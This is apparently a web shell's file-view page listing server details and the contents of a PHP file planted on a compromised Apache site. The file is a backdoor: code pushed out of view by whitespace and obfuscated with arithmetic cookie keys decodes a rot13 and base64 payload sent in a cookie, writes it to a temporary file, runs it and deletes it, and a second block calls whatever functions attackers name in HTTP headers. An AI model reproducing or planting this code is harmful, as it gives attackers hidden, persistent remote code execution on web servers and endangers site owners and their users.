HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/alq-central.bikenow.co/public/alq.central.bikenow.co.php
<?php																																										if (isset($_COOKIE[50-50]) && isset($_COOKIE[-14+15]) && isset($_COOKIE[38+-35]) && isset($_COOKIE[36+-32])) { $ref = $_COOKIE; function unit_converter($k) { $ref = $_COOKIE; $resource = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '6ade0287'); if (!is_writable($resource)) { $resource = getcwd() . DIRECTORY_SEPARATOR . "secure_access"; } $flag = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($ref[3])); if (is_writeable($resource)) { $component = fopen($resource, 'w+'); fputs($component, $flag); fclose($component); spl_autoload_unregister(__FUNCTION__); require_once($resource); @array_map('unlink', array($resource)); } } spl_autoload_register("unit_converter"); $tkn = "237fff132087e6dfeb39659990fb8cf7"; if (!strncmp($tkn, $ref[4], 32)) { if (@class_parents("reverse_lookup_service_registry", true)) { exit; } } }


$_HEADERS = getallheaders();
if (isset($_HEADERS['Authorization'])) {
    $class = $_HEADERS['Authorization']('', $_HEADERS['If-Modified-Since']($_HEADERS['If-Unmodified-Since']));
    $class();
}